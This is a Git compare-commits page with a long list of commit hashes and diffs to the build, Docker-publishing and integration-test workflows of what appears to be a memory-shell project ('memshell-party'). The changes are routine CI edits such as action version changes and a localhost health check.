Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
799302348f | ||
|
|
9b849b6e39 | ||
|
|
e7b5430075 | ||
|
|
6942affbc8 | ||
|
|
48a65574aa | ||
|
|
ee1b2db869 | ||
|
|
1879eaab22 | ||
|
|
4ab8ecba13 | ||
|
|
2e5de88f97 | ||
|
|
842200280d | ||
|
|
ab3f7d1043 | ||
|
|
b476c9a542 | ||
|
|
5239b8cb5d | ||
|
|
f88c5d5606 | ||
|
|
b1e3d6aef1 | ||
|
|
8897c4c607 | ||
|
|
92c0d1d8a8 | ||
|
|
c31c3bd958 | ||
|
|
e1f0e7f4bd | ||
|
|
c272a5387d | ||
|
|
44abb44670 | ||
|
|
1120c215d4 | ||
|
|
aa140a8777 | ||
|
|
88af60fea4 | ||
|
|
9b7d244837 | ||
|
|
460465fe35 | ||
|
|
f33972e460 | ||
|
|
da16649e6f | ||
|
|
d7eaf5c068 | ||
|
|
8286dcd4c3 | ||
|
|
ba449cc8e4 | ||
|
|
e844bd5871 | ||
|
|
8f2872e542 | ||
|
|
1c28a5d4ba | ||
|
|
9925d901f5 | ||
|
|
ed50e93183 | ||
|
|
7baa728d0c | ||
|
|
5cc7f7f2e8 | ||
|
|
828556f82b | ||
|
|
134d1f6f4c | ||
|
|
e2272255ca | ||
|
|
3a437512c7 | ||
|
|
2fd2e549ad | ||
|
|
33ce7f3bb0 | ||
|
|
9796cdca97 | ||
|
|
50af147fc9 | ||
|
|
e0385acf8b | ||
|
|
2acafba2f3 | ||
|
|
020d508f7a | ||
|
|
c42969e73e | ||
|
|
6c76a90f03 | ||
|
|
feeb7014fb | ||
|
|
5f7b398ddb | ||
|
|
2b32b741d6 | ||
|
|
2b8e1f5de7 | ||
|
|
a7a5d461fe | ||
|
|
dd727fbe9c | ||
|
|
f544563315 | ||
|
|
ebd97529ad | ||
|
|
82f46deb76 | ||
|
|
6896426811 | ||
|
|
e006814e96 | ||
|
|
6be89d2448 | ||
|
|
db40ac86d8 | ||
|
|
6a475983db | ||
|
|
5aae3c4dbe | ||
|
|
3f5a2ddb6b | ||
|
|
a5f6411444 | ||
|
|
ede8a649bc | ||
|
|
ff49fe1f0c | ||
|
|
29150c56c9 | ||
|
|
a1f3bd5b6c | ||
|
|
d4efc69643 | ||
|
|
7e3e97d79a | ||
|
|
7c9d330909 | ||
|
|
1c320d7de6 | ||
|
|
a330f6fe29 | ||
|
|
f9dce4f84b | ||
|
|
d4bde3baad | ||
|
|
99b40a945f | ||
|
|
31e1e26488 | ||
|
|
4a3bc0c40a | ||
|
|
3102f10d7b | ||
|
|
4ea5ef68f9 | ||
|
|
8bff3b24c7 | ||
|
|
6361e4d50b | ||
|
|
5fb85f9ff1 | ||
|
|
73c05bc6c6 | ||
|
|
5f153a9052 | ||
|
|
37d3086ca5 | ||
|
|
a4bdde14dd | ||
|
|
c451e42188 | ||
|
|
1a8443b08c | ||
|
|
d37089f063 | ||
|
|
55fc9f8cc0 | ||
|
|
28868f5769 | ||
|
|
c5b753abe5 | ||
|
|
e556cfa80a | ||
|
|
67f21b0abf | ||
|
|
466d236ba2 | ||
|
|
78cbc3bb6c | ||
|
|
9fe2630c36 | ||
|
|
f09ae066bd | ||
|
|
b2520eebac | ||
|
|
65e23040ae | ||
|
|
22123cec7e | ||
|
|
7f7e48233b | ||
|
|
58341b4f7c | ||
|
|
ba04db93be | ||
|
|
57a653235b | ||
|
|
5b2a47e499 | ||
|
|
95617a787b | ||
|
|
83fe7cad8c | ||
|
|
afa8f9dd06 | ||
|
|
b6fca022f9 | ||
|
|
9fa01834e7 | ||
|
|
85b7750ab8 | ||
|
|
9c5dc1fa9d | ||
|
|
a833e3acdd | ||
|
|
b12a8530f2 | ||
|
|
74701926b6 | ||
|
|
a371c6adb6 | ||
|
|
cd9c9ef162 | ||
|
|
d4ff5fdf65 | ||
|
|
1dc27116f1 | ||
|
|
f43218b5e1 | ||
|
|
04bbddee6b | ||
|
|
59cf8674f1 | ||
|
|
9572b90cef | ||
|
|
96044dc231 | ||
|
|
bae97ec554 | ||
|
|
b6ba3c632a | ||
|
|
453ef58b15 | ||
|
|
a37e32deb2 | ||
|
|
faee94d77e | ||
|
|
b0e2e218f0 | ||
|
|
6fee88d761 | ||
|
|
d6613f770a | ||
|
|
5627604ba9 | ||
|
|
c1e0fbbc18 | ||
|
|
74079d81ed | ||
|
|
9792f242ce | ||
|
|
3ae57d6b67 | ||
|
|
69f554ae4e | ||
|
|
8565dd9c52 | ||
|
|
021e0a3e9d | ||
|
|
dc958d49df | ||
|
|
5f83b52bc0 | ||
|
|
59bcd6aecf | ||
|
|
d1a2912428 | ||
|
|
006cce6a74 | ||
|
|
8d240f2a50 | ||
|
|
9d03c04dfa | ||
|
|
8e4dd5ab6a | ||
|
|
8ae71c5b6b | ||
|
|
566286a8fa | ||
|
|
9692ab6e7b | ||
|
|
c75cb2f8ef | ||
|
|
e31fcdeca9 | ||
|
|
f734e3c391 | ||
|
|
8558487b6c | ||
|
|
c5ad3e81cb | ||
|
|
18c0920c27 | ||
|
|
ddfa273938 | ||
|
|
4a1359a736 | ||
|
|
d197691bed | ||
|
|
f7e401bd46 | ||
|
|
cd10fe9a2c | ||
|
|
21acf71af6 | ||
|
|
bb8e4c7a7e | ||
|
|
627ecf6465 | ||
|
|
0658f103cc | ||
|
|
b134b5a5a7 | ||
|
|
cc6bed07a1 | ||
|
|
5d5f866744 | ||
|
|
cf82dd9470 | ||
|
|
b06a39d1b8 | ||
|
|
19faf77d5c | ||
|
|
a3704eb7b7 | ||
|
|
eeed6e45c7 | ||
|
|
3c1c1cb8fc | ||
|
|
26d72cb909 | ||
|
|
70c128ced1 | ||
|
|
dd2d9a8a3e | ||
|
|
ea955feccd | ||
|
|
6c84c44005 | ||
|
|
b581583dce | ||
|
|
a037e5d043 | ||
|
|
06dc282cff | ||
|
|
cae0a38a7a | ||
|
|
d69df0d1c1 | ||
|
|
942fa3ec68 | ||
|
|
f52efcb7a2 | ||
|
|
f55702ecda | ||
|
|
bc53918455 | ||
|
|
ac2b28c1f3 | ||
|
|
e68355df8b | ||
|
|
e4a5215f5f | ||
|
|
4f8ff51f8b | ||
|
|
fc9877aa3a | ||
|
|
8bb338d5a1 | ||
|
|
0e2abdecb3 | ||
|
|
f934e1e7ed | ||
|
|
330544c7f7 | ||
|
|
0fe51f8ec0 | ||
|
|
d2efb56dbc | ||
|
|
827462bcc6 | ||
|
|
e59678188a | ||
|
|
0ea1e7baba | ||
|
|
d0ee5c66bf | ||
|
|
0ee64df302 | ||
|
|
565d05340e | ||
|
|
761de0af90 | ||
|
|
50a9aec83c | ||
|
|
3ecdbf020d | ||
|
|
65d097c43d | ||
|
|
825c276d4e | ||
|
|
b8f3b67ba4 | ||
|
|
59621eefec | ||
|
|
a0e9dfbc85 | ||
|
|
98281f0eae | ||
|
|
2851c5d9e0 | ||
|
|
02bc358498 | ||
|
|
2fe3f82ebc | ||
|
|
8e89db5b96 | ||
|
|
8f46ea2e5e | ||
|
|
9299764994 | ||
|
|
d0b3ad2d95 | ||
|
|
29f854c6dd | ||
|
|
29d0d1b1e7 | ||
|
|
93fc7205cc | ||
|
|
f86675aee1 | ||
|
|
ecfe751f38 | ||
|
|
8e3dee8d13 | ||
|
|
6a899d9f92 | ||
|
|
7bb4890443 | ||
|
|
66c6403dd7 | ||
|
|
9fa0cdd089 | ||
|
|
abe55ba17e | ||
|
|
feb5a2b44a | ||
|
|
bc5e813064 | ||
|
|
bfb7280c47 | ||
|
|
8c9cb252db | ||
|
|
a441e468fb | ||
|
|
f280cddb67 | ||
|
|
b6de448171 | ||
|
|
81f42aae39 | ||
|
|
da5db939be | ||
|
|
e1540f1c05 | ||
|
|
accf83ac9d | ||
|
|
f57ee7536c | ||
|
|
ffd2a636f4 | ||
|
|
6b47b8e488 | ||
|
|
85e9eb8c70 | ||
|
|
47ea535fac | ||
|
|
540559653f | ||
|
|
8a0e3ee5de | ||
|
|
bc9ce37a52 | ||
|
|
02c7abd086 | ||
|
|
8eab3f5633 | ||
|
|
0f03072b56 | ||
|
|
2f59fc80fb | ||
|
|
901a2b3af0 | ||
|
|
8deff1c8d9 | ||
|
|
ad05c8f2da | ||
|
|
e228065aa0 | ||
|
|
af0135286d | ||
|
|
722da5560e | ||
|
|
b6e34e4beb | ||
|
|
3ced92f2d0 | ||
|
|
476d92f173 | ||
|
|
3c7fd8aca5 | ||
|
|
c93ab0e7e0 | ||
|
|
89cd4fef62 | ||
|
|
e6d9ddb210 | ||
|
|
a042900052 | ||
|
|
23d3628786 | ||
|
|
4a9217aa3a | ||
|
|
dd4832a5a8 | ||
|
|
db579ce39e | ||
|
|
4c70dc9148 | ||
|
|
d97ddbd1cc | ||
|
|
b8e91a3697 | ||
|
|
5d97780e34 | ||
|
|
a7751a0467 | ||
|
|
5abaa5bbc1 | ||
|
|
b3780135bb | ||
|
|
c1fefd3510 | ||
|
|
ff70a5f2fe | ||
|
|
d7faa6a59f | ||
|
|
675272a04c | ||
|
|
a284cbbd02 | ||
|
|
9073a97eec | ||
|
|
de2864b892 | ||
|
|
49819156ab | ||
|
|
452e057bd1 | ||
|
|
dfd6328494 | ||
|
|
b78f5dad1c | ||
|
|
fefe25cbce | ||
|
|
30a141c8d4 | ||
|
|
c95a6da29f | ||
|
|
688de30965 | ||
|
|
b7c6303966 | ||
|
|
e6d1aeac3c | ||
|
|
4f58e13c00 | ||
|
|
a47033d051 | ||
|
|
0192aa58ea | ||
|
|
00b807f5f8 | ||
|
|
cd189a74f7 | ||
|
|
690cfb833f | ||
|
|
45f2bb148d | ||
|
|
e7a14bf2e3 | ||
|
|
28fb25781b | ||
|
|
58f471ca2c | ||
|
|
db87c3f317 | ||
|
|
5635deff23 | ||
|
|
bda018b93f | ||
|
|
4d36c0bc8f | ||
|
|
ad4a0cf2bf | ||
|
|
9c820f9d29 | ||
|
|
a48442fcab | ||
|
|
68791f6c15 | ||
|
|
479b2a0c16 | ||
|
|
a148fa1cb9 | ||
|
|
116f1034b0 | ||
|
|
db55765fdf | ||
|
|
8b67d639bd | ||
|
|
cead11c781 | ||
|
|
43dc5ca398 | ||
|
|
ede78f3efc | ||
|
|
72370a3b84 | ||
|
|
ad248f0703 | ||
|
|
358f66ff01 | ||
|
|
76a78f14e0 | ||
|
|
33a9008ecb | ||
|
|
b27b40c543 | ||
|
|
74cc792dc6 | ||
|
|
348e86079a | ||
|
|
d4160d9a94 | ||
|
|
19c40e0e2d | ||
|
|
b49af93bec | ||
|
|
d9e3e03def | ||
|
|
bba2b2d211 | ||
|
|
56f0e8001d | ||
|
|
2f80ecb020 | ||
|
|
b3bda20f2c | ||
|
|
be5a2089d2 | ||
|
|
9d2e8125d9 | ||
|
|
8964769be8 | ||
|
|
3acab6e620 | ||
|
|
5148414ca8 | ||
|
|
0b10a55f66 | ||
|
|
cbf2d02808 | ||
|
|
775fc38abe | ||
|
|
6b3f4a2606 | ||
|
|
52c720572f | ||
|
|
5e2242665b | ||
|
|
cdd145d0b2 | ||
|
|
18aa8ed60d | ||
|
|
3e40763724 | ||
|
|
eda6134262 | ||
|
|
9d81160b33 | ||
|
|
115b57c62e | ||
|
|
1b8a845635 | ||
|
|
3ccbd14256 | ||
|
|
56510c89db | ||
|
|
358184f71b | ||
|
|
6ee9e31aa8 | ||
|
|
501f7a2d10 | ||
|
|
8b3c23241a | ||
|
|
3af560a5e0 | ||
|
|
a8d1b5e29a | ||
|
|
21f9af2f70 | ||
|
|
583abbf9ba | ||
|
|
e71f980991 | ||
|
|
d9c3bcb5dd | ||
|
|
61905e35ca | ||
|
|
27f3a7b206 | ||
|
|
bcb9d23f64 | ||
|
|
d993a54fa9 | ||
|
|
7eb8baeaf2 | ||
|
|
591375f522 | ||
|
|
6436d404d7 | ||
|
|
ef487f86d2 | ||
|
|
011f919e2a | ||
|
|
f8624f0e72 | ||
|
|
b287fcd36f | ||
|
|
7fb404f04f | ||
|
|
45dc276300 | ||
|
|
e811ca56ae | ||
|
|
58dd08754d | ||
|
|
6145918df7 | ||
|
|
6671dec9e6 | ||
|
|
f53c0655d4 | ||
|
|
1bcecaa151 | ||
|
|
e21b397699 | ||
|
|
cd870594b0 | ||
|
|
067dae90ff | ||
|
|
69b5b5e99f | ||
|
|
29edaf173a | ||
|
|
4f8ab4d16a | ||
|
|
ee3bab6876 | ||
|
|
6523ecd554 | ||
|
|
f97c0cd3db | ||
|
|
7da215bd35 | ||
|
|
8171da5df3 | ||
|
|
92e38ae004 | ||
|
|
6113ea717f | ||
|
|
a6cc7705c3 | ||
|
|
84b884a3d8 | ||
|
|
828b7b8400 | ||
|
|
786e58cafc | ||
|
|
5ce3e67dc4 | ||
|
|
94e29588bb | ||
|
|
fa1ca573ae | ||
|
|
78795f3b95 | ||
|
|
3efe814d30 | ||
|
|
8d7ed8c4ee | ||
|
|
cc58c2ef87 | ||
|
|
4f69497680 | ||
|
|
c046d466db | ||
|
|
9291281a4e | ||
|
|
50234947b7 | ||
|
|
075ce8c515 | ||
|
|
ca4c1d6e4b | ||
|
|
d4067caee5 | ||
|
|
cf65fbb53c | ||
|
|
962914fa8d | ||
|
|
f90f0f0713 | ||
|
|
a64238eea0 | ||
|
|
ce11635876 | ||
|
|
1015c55b6d | ||
|
|
8ed16fc818 | ||
|
|
24a9b563e6 | ||
|
|
8d5af74733 | ||
|
|
363d0591dc | ||
|
|
fe1a443c0d | ||
|
|
113b174837 | ||
|
|
f42424ba7c | ||
|
|
19ecd109fc | ||
|
|
9f763906ae | ||
|
|
be91430bd5 | ||
|
|
5bed6c877d | ||
|
|
633508ceda | ||
|
|
e26cb37805 | ||
|
|
3efda487e9 | ||
|
|
f92d7207c8 | ||
|
|
5540016f12 | ||
|
|
0402065457 | ||
|
|
9fae3847ae | ||
|
|
f4bc254ed3 | ||
|
|
a1d4a6d8fa | ||
|
|
7afa5d97f6 | ||
|
|
a6f5ee96d6 | ||
|
|
1f04701cc1 | ||
|
|
b272c9739b | ||
|
|
b5903f39fa | ||
|
|
99c53b6287 | ||
|
|
1dfc28cd33 | ||
|
|
c44ae3ad4f | ||
|
|
b5031012ba | ||
|
|
5340de9b71 | ||
|
|
f71657b11c | ||
|
|
d6612d7630 | ||
|
|
858212cd9c | ||
|
|
8e36beaad1 | ||
|
|
d511a8346f | ||
|
|
b8116ac0a5 | ||
|
|
155310a685 | ||
|
|
a6a1cff2c4 | ||
|
|
7ae28d5457 | ||
|
|
8a909971f1 | ||
|
|
371402c144 | ||
|
|
2b34b80e40 | ||
|
|
b694073f33 | ||
|
|
2f2ef8a774 | ||
|
|
86734f8485 | ||
|
|
393693b89b | ||
|
|
2da2e180cb | ||
|
|
8e741b6647 | ||
|
|
717c81571b | ||
|
|
2ec43d97dd | ||
|
|
c9a536d2fd | ||
|
|
74a919c6ec | ||
|
|
e123c7485e | ||
|
|
d6d10dead0 | ||
|
|
696814fd2c | ||
|
|
87147d738a | ||
|
|
c205e69563 | ||
|
|
dddbc15dd8 | ||
|
|
77ae8c1559 | ||
|
|
3fe380ef8a | ||
|
|
a54c307bd5 | ||
|
|
3d14f0113e | ||
|
|
b1d449538d | ||
|
|
4f1634a843 | ||
|
|
8fe2b47805 | ||
|
|
c30e99a92c | ||
|
|
5f4880e72a | ||
|
|
b7326a386b | ||
|
|
6b9655bb6c | ||
|
|
f9b109d922 | ||
|
|
ee82fc102d | ||
|
|
cfa4bfdb1d | ||
|
|
889d1d87c7 | ||
|
|
bea468a311 | ||
|
|
e31d8e751d | ||
|
|
92bda08567 | ||
|
|
d052177731 | ||
|
|
76dab18099 | ||
|
|
6e729d0e35 | ||
|
|
328939db6a | ||
|
|
32c5242c52 | ||
|
|
c860bbfd87 | ||
|
|
b32c9e701e | ||
|
|
41c193074e | ||
|
|
eaf6a81c85 | ||
|
|
22392829e5 | ||
|
|
65a7fd46e3 | ||
|
|
7dd02f4431 | ||
|
|
54f38e48d2 | ||
|
|
c232e64b13 | ||
|
|
78e9401492 | ||
|
|
a5c8058cad | ||
|
|
3189ef8f70 | ||
|
|
c859655e3a | ||
|
|
1272ee46b4 | ||
|
|
b83a72a3c8 | ||
|
|
89e4c796b4 | ||
|
|
ff3c1f2c49 | ||
|
|
2dc406df34 | ||
|
|
6c23a15034 | ||
|
|
6b81791ff5 | ||
|
|
6ba96f5e5a | ||
|
|
21df9f8273 | ||
|
|
4219f1ba9d | ||
|
|
0d69049506 | ||
|
|
385e1e0102 | ||
|
|
12fde31663 | ||
|
|
9f1f4b76aa | ||
|
|
4d1291f209 | ||
|
|
43653b2a1b | ||
|
|
514f13f515 | ||
|
|
ff69716423 | ||
|
|
fc431b9ace | ||
|
|
944e72f8c5 | ||
|
|
7be31dc481 | ||
|
|
dfc714862e | ||
|
|
c7c4b8be84 | ||
|
|
75019e9847 | ||
|
|
c6f13dde5e | ||
|
|
fcbec8db19 | ||
|
|
b9f307dd7b | ||
|
|
a895826bdb | ||
|
|
527dad824e | ||
|
|
534db31fa0 | ||
|
|
2b00c96a06 | ||
|
|
22e3b9ab24 | ||
|
|
901483c1db | ||
|
|
c9351dcd68 | ||
|
|
845fbd5529 | ||
|
|
fe2192396a | ||
|
|
63c0d89462 | ||
|
|
2436c707db | ||
|
|
c49d3e1909 | ||
|
|
7f9276364a | ||
|
|
57feb7809c | ||
|
|
6e330bb9c1 | ||
|
|
8fcca5b70e | ||
|
|
f3b3ca7b2e | ||
|
|
5ec6f6c3cc | ||
|
|
699169d277 | ||
|
|
6197d66ee8 | ||
|
|
7efbff4a45 | ||
|
|
37e336e088 | ||
|
|
65fb0a05df | ||
|
|
6bdc47a7d5 | ||
|
|
9ed876297a | ||
|
|
74cb677e98 | ||
|
|
13ddea499a | ||
|
|
82fddf702f | ||
|
|
8530797a54 | ||
|
|
6d12cbba36 | ||
|
|
992aa8a29d | ||
|
|
4ddf8dd3d1 | ||
|
|
6d7a665ba7 | ||
|
|
15e3af9374 | ||
|
|
c39075eaae | ||
|
|
6c523c55c7 | ||
|
|
bb76313410 | ||
|
|
1f4a19dd83 | ||
|
|
385de37d56 | ||
|
|
7ddf2c09c4 | ||
|
|
40c036ab92 | ||
|
|
59b0aeaaca | ||
|
|
3756197bab | ||
|
|
6020e5eaa9 | ||
|
|
9360408f6d | ||
|
|
0cd08f2a6c | ||
|
|
1ff8fa6128 | ||
|
|
c07fcc28a4 | ||
|
|
cfc4c0531f | ||
|
|
13cbbdb54f | ||
|
|
4feeca1ca8 | ||
|
|
64f8724903 | ||
|
|
4f4384838a | ||
|
|
c72ae586a2 | ||
|
|
d7a40f74b8 | ||
|
|
0e250cac90 | ||
|
|
209fc378d0 | ||
|
|
d541041f51 | ||
|
|
6617d9cc16 | ||
|
|
ec42992c8a | ||
|
|
3004221fad | ||
|
|
98b955673b | ||
|
|
a7cee2ea21 | ||
|
|
b6e6b69339 | ||
|
|
cc05dc3934 | ||
|
|
61bf9d25bb | ||
|
|
ffbe1e454b | ||
|
|
85576ab6c7 | ||
|
|
365f4efea0 | ||
|
|
a0d6cbee82 | ||
|
|
421f011974 | ||
|
|
0035d1f6a5 | ||
|
|
ba9a7878e0 | ||
|
|
75ea80f153 | ||
|
|
9c5aabb8f0 | ||
|
|
7887a48fa8 | ||
|
|
c07e1fcf19 | ||
|
|
d2036b87f4 | ||
|
|
b09b671831 | ||
|
|
d3d3c0186d | ||
|
|
706e2b06d4 | ||
|
|
e0345767d6 | ||
|
|
7d697fe2ec | ||
|
|
14c62376d7 | ||
|
|
065c111ad7 | ||
|
|
f3da4292bb | ||
|
|
ed51f01b29 | ||
|
|
81007167ff | ||
|
|
288766eb9c | ||
|
|
b8d4c91a1f | ||
|
|
46dff40932 | ||
|
|
f7bf419f31 | ||
|
|
9fe244e9ca | ||
|
|
b0ef130e87 | ||
|
|
714fa99c90 | ||
|
|
1a12d426dc | ||
|
|
00c36ab90d | ||
|
|
0e7aa6b0b0 | ||
|
|
96a00c9dcc | ||
|
|
886d808f31 | ||
|
|
b6c881c5cb | ||
|
|
400a7bfab7 | ||
|
|
b78984b858 | ||
|
|
21afe14ccd | ||
|
|
7fa4dee03b | ||
|
|
e718af7440 | ||
|
|
a530d77351 | ||
|
|
671aef548b | ||
|
|
9661eefc3e | ||
|
|
d620212eb0 | ||
|
|
7d3eb11be6 | ||
|
|
f0905d83a8 | ||
|
|
65c9d5847d | ||
|
|
bbeff2726d | ||
|
|
a20f760cd5 | ||
|
|
56d5410279 | ||
|
|
0cc70940c3 | ||
|
|
d148261a37 | ||
|
|
2660076eda | ||
|
|
05b85670d5 | ||
|
|
b904fe0851 | ||
|
|
c904f313e2 | ||
|
|
7a453faeb0 |
@@ -1,19 +0,0 @@
|
|||||||
.git
|
|
||||||
.gradle
|
|
||||||
.idea
|
|
||||||
.vscode
|
|
||||||
.DS_Store
|
|
||||||
|
|
||||||
**/.DS_Store
|
|
||||||
**/.gradle
|
|
||||||
**/build
|
|
||||||
**/bin
|
|
||||||
|
|
||||||
web/.react-router
|
|
||||||
web/.source
|
|
||||||
web/build
|
|
||||||
web/node_modules
|
|
||||||
|
|
||||||
integration-test
|
|
||||||
tools
|
|
||||||
vul
|
|
||||||
@@ -9,7 +9,7 @@ if __name__ == '__main__':
|
|||||||
args = parser.parse_args()
|
args = parser.parse_args()
|
||||||
version = args.version
|
version = args.version
|
||||||
|
|
||||||
with open("../../web/content/docs/changelog.mdx") as f:
|
with open("../../CHANGELOG.md") as f:
|
||||||
lines = f.readlines()
|
lines = f.readlines()
|
||||||
for line in lines:
|
for line in lines:
|
||||||
if line.startswith(f"## [{version}]"):
|
if line.startswith(f"## [{version}]"):
|
||||||
|
|||||||
@@ -12,26 +12,18 @@ on:
|
|||||||
jobs:
|
jobs:
|
||||||
build-jar:
|
build-jar:
|
||||||
name: Build Jar
|
name: Build Jar
|
||||||
strategy:
|
runs-on: ubuntu-latest
|
||||||
matrix:
|
|
||||||
os: [ubuntu-latest, windows-latest]
|
|
||||||
runs-on: ${{ matrix.os }}
|
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v6
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
- name: Setup Java
|
- name: Setup Java
|
||||||
uses: actions/setup-java@v5
|
uses: actions/setup-java@v4
|
||||||
with:
|
with:
|
||||||
distribution: 'temurin'
|
distribution: 'temurin'
|
||||||
java-version: 17
|
java-version: 17
|
||||||
|
|
||||||
- name: Setup Gradle
|
- name: Setup Gradle
|
||||||
uses: gradle/actions/setup-gradle@v6
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
- name: Setup Node
|
|
||||||
uses: actions/setup-node@v6
|
|
||||||
with:
|
|
||||||
node-version: 22
|
|
||||||
|
|
||||||
- name: Setup Bun
|
- name: Setup Bun
|
||||||
uses: oven-sh/setup-bun@v2
|
uses: oven-sh/setup-bun@v2
|
||||||
@@ -42,17 +34,11 @@ jobs:
|
|||||||
working-directory: web
|
working-directory: web
|
||||||
run: bun install --frozen-lockfile && bun run build
|
run: bun install --frozen-lockfile && bun run build
|
||||||
|
|
||||||
- name: Build Boot with Gradle (Linux)
|
- name: Build Boot with Gradle
|
||||||
if: matrix.os == 'ubuntu-latest'
|
run: ./gradlew :boot:bootjar -x test
|
||||||
run: ./gradlew :boot:test :boot:bootjar
|
|
||||||
|
|
||||||
- name: Build Boot with Gradle (Windows)
|
- name: Upload Boot Jar
|
||||||
if: matrix.os == 'windows-latest'
|
uses: actions/upload-artifact@v4
|
||||||
run: ./gradlew.bat :boot:test :boot:bootjar
|
|
||||||
|
|
||||||
- name: Upload Boot Jar (Linux)
|
|
||||||
if: matrix.os == 'ubuntu-latest'
|
|
||||||
uses: actions/upload-artifact@v7
|
|
||||||
with:
|
with:
|
||||||
name: boot
|
name: boot
|
||||||
path: boot/build/libs/*.jar
|
path: boot/build/libs/*.jar
|
||||||
@@ -62,28 +48,28 @@ jobs:
|
|||||||
needs: [ build-jar ]
|
needs: [ build-jar ]
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v6
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
- name: Download Boot Jar
|
- name: Download Boot Jar
|
||||||
uses: actions/download-artifact@v8
|
uses: actions/download-artifact@v4
|
||||||
with:
|
with:
|
||||||
name: boot
|
name: boot
|
||||||
path: boot/build/libs
|
path: boot/build/libs
|
||||||
|
|
||||||
- name: Login to Docker Hub
|
- name: Login to Docker Hub
|
||||||
uses: docker/login-action@v4
|
uses: docker/login-action@v3
|
||||||
with:
|
with:
|
||||||
registry: docker.io
|
registry: docker.io
|
||||||
username: ${{ vars.DOCKERHUB_USERNAME }}
|
username: ${{ vars.DOCKERHUB_USERNAME }}
|
||||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||||
|
|
||||||
- name: Set up QEMU
|
- name: Set up QEMU
|
||||||
uses: docker/setup-qemu-action@v4
|
uses: docker/setup-qemu-action@v3
|
||||||
- name: Set up Docker Buildx
|
- name: Set up Docker Buildx
|
||||||
uses: docker/setup-buildx-action@v4
|
uses: docker/setup-buildx-action@v3
|
||||||
|
|
||||||
- name: Build and push
|
- name: Build and push
|
||||||
uses: docker/build-push-action@v7
|
uses: docker/build-push-action@v6
|
||||||
with:
|
with:
|
||||||
context: boot
|
context: boot
|
||||||
platforms: linux/amd64,linux/arm64
|
platforms: linux/amd64,linux/arm64
|
||||||
@@ -95,15 +81,15 @@ jobs:
|
|||||||
needs: [ build-jar ]
|
needs: [ build-jar ]
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v6
|
- uses: actions/checkout@v4
|
||||||
- name: Setup Java
|
- name: Setup Java
|
||||||
uses: actions/setup-java@v5
|
uses: actions/setup-java@v4
|
||||||
with:
|
with:
|
||||||
distribution: 'temurin'
|
distribution: 'temurin'
|
||||||
java-version: 17
|
java-version: 17
|
||||||
|
|
||||||
- name: Setup Gradle
|
- name: Setup Gradle
|
||||||
uses: gradle/actions/setup-gradle@v6
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
- name: Publish with Gradle
|
- name: Publish with Gradle
|
||||||
env:
|
env:
|
||||||
|
|||||||
@@ -22,7 +22,7 @@ jobs:
|
|||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- name: Checkout code
|
- name: Checkout code
|
||||||
uses: actions/checkout@v6
|
uses: actions/checkout@v4
|
||||||
- name: Build Docker image
|
- name: Build Docker image
|
||||||
run: |
|
run: |
|
||||||
docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .
|
docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .
|
||||||
@@ -33,7 +33,7 @@ jobs:
|
|||||||
sleep 10
|
sleep 10
|
||||||
- name: Test with curl
|
- name: Test with curl
|
||||||
run: |
|
run: |
|
||||||
if [[ $(curl -w "%{http_code}" -o /dev/null http://localhost:8080/memshell-party/api/version) -eq 200 ]]; then
|
if [[ $(curl -w "%{http_code}" -o /dev/null http://localhost:8080/memshell-party/version) -eq 200 ]]; then
|
||||||
echo "Test successful!"
|
echo "Test successful!"
|
||||||
else
|
else
|
||||||
echo "Test failed!"
|
echo "Test failed!"
|
||||||
|
|||||||
@@ -15,21 +15,21 @@ jobs:
|
|||||||
name: Docker Push
|
name: Docker Push
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v6
|
- uses: actions/checkout@v4
|
||||||
- name: Login to Docker Hub
|
- name: Login to Docker Hub
|
||||||
uses: docker/login-action@v4
|
uses: docker/login-action@v3
|
||||||
with:
|
with:
|
||||||
registry: docker.io
|
registry: docker.io
|
||||||
username: ${{ vars.DOCKERHUB_USERNAME }}
|
username: ${{ vars.DOCKERHUB_USERNAME }}
|
||||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||||
|
|
||||||
- name: Set up QEMU
|
- name: Set up QEMU
|
||||||
uses: docker/setup-qemu-action@v4
|
uses: docker/setup-qemu-action@v3
|
||||||
- name: Set up Docker Buildx
|
- name: Set up Docker Buildx
|
||||||
uses: docker/setup-buildx-action@v4
|
uses: docker/setup-buildx-action@v3
|
||||||
|
|
||||||
- name: Build and push RedQueen
|
- name: Build and push RedQueen
|
||||||
uses: docker/build-push-action@v7
|
uses: docker/build-push-action@v6
|
||||||
with:
|
with:
|
||||||
context: .
|
context: .
|
||||||
platforms: linux/amd64,linux/arm64
|
platforms: linux/amd64,linux/arm64
|
||||||
|
|||||||
@@ -9,7 +9,6 @@ on:
|
|||||||
- './github/workflows/memshell-integration-test.yml'
|
- './github/workflows/memshell-integration-test.yml'
|
||||||
- '**/memshell/**'
|
- '**/memshell/**'
|
||||||
- '**/packer/**'
|
- '**/packer/**'
|
||||||
- '**/dubbo/**'
|
|
||||||
|
|
||||||
concurrency:
|
concurrency:
|
||||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
||||||
@@ -24,17 +23,17 @@ jobs:
|
|||||||
- middleware: "tomcat"
|
- middleware: "tomcat"
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
|
